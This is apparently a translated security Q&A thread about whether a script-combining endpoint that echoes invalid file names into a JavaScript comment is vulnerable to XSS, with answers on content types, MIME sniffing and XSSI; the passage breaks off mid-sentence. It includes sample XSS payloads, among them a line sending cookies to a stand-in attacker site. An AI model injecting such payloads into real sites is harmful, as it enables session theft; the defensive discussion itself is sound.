原始脚本响应中的 XSS 漏洞?

信息安全 xss
2021-08-17 17:47:57

我们最近对我们的生产 Web 应用程序进行了安全扫描,并收到了关于特定 URL 上潜在 XSS 漏洞的通知,该 URL 用于检索包含多个 js 文件的组合响应。

示例:http : //example.com/CombinedScripts?file=foo.js&file=bar.js

服务器将返回 foo.js 和 bar.js 组合/缩小/等的内容。如果您传入无效的文件名,它会在响应中包含在 javascript 的注释中找不到的文件名。

示例:/* 找不到文件 'foo2.js' */

我能够成功地制作一个指向此 CombinedScripts 处理程序的 HTML 页面,并使用带有如下 URL 的脚本标记显示一个警告框:

http://example.com/CombinedScripts?file=*/alert(1);/*

由于这个 URL 只返回 javascript(而不是 HTML),这实际上是一个 XSS 漏洞吗?

在整个站点中引用此 URL 的页面在生成 URL 时不使用任何不受信任的用户输入。

这里不涉及实际的 HTML,将用户直接指向此 URL 只会使 javascript 显示在他们的浏览器中,而不是执行它。

如果我有自己的 HTML 页面并且可以将恶意 URL 放在脚本标记中,那么我可以注入恶意 javascript,但它会在我已经控制的页面的上下文中运行,而不是在提供 javascript 的站点的上下文中运行我可以很容易地将脚本直接放在我控制的 HTML 页面中。

3个回答

一般来说,不,这不是跨站脚本 (XSS) 问题。

你可能会遇到三个问题:

  1. 如果攻击者控制了输出的第一个字节,则无论页面的内容类型如何,Rosetta Flash 攻击都可用于触发跨站脚本 (XSS)。但是,如果您/*像您说的那样使用 开始输出,我看不出有任何风险;
  2. 过时的浏览器(例如:IE 7)存在内容嗅探问题,因此即使您将页面的内容类型设置为text/javascript,攻击者也可以欺骗浏览器将您的页面作为 HTML 执行。如今,这种类型的攻击非常罕见。使用以下标头变得更安全;

X-Content-Type-Options: nosniff

  1. 如果您的 javascript 中有基于经过身份验证的会话的敏感信息,那么您还有其他漏洞,称为跨站点脚本包含 (XSSI)。

重要更新:

我假设您正在使用Content-Type: text/javascript.

如果你正在使用的服务页面Content-Type: text/html,你是不是编码<>你完全易受XSS

例子:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

像这样的链接http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script>呢?

您是否正确编码传入的 html 字符?

编辑:由于这似乎允许攻击者将任何 javascript 从您的网站发送到他们的网页,我认为这将允许他们访问他们不应该访问的数据。但似乎我弄错了,同源保护是基于 javascript 所在的 html 页面的来源,而不是 javascript 文件。因此,您的漏洞在于他们是否可以设法返回整个网页。

取决于您是否在 js 文件上正确提供内容类型。text/html使用content-type提供 js 文件是一种常见的错误配置。这不会破坏包含 js 文件的页面,但如果直接在地址栏中输入 url,它将导致现代浏览器将文件呈现为 html。

诈骗者可以通过电子邮件向目标发送虚假网址,希望他们点击看似安全的网址。但是,如果 js 文件以 html 格式提供并呈现,那么它们可以在客户端上执行任意 js 代码,并可能泄露 cookie 或该页面可用的任何其他机密信息。更糟糕的是,他们甚至可以利用客户端浏览器中可能存在的任何零日漏洞。

在实践中,我会说更改该机制,使其不依赖于 url 输入,或者至少它应该执行输入验证检查并在无法识别的输入上输出错误。但是从理论上讲,如果您确保将内容类型服务为text/javascript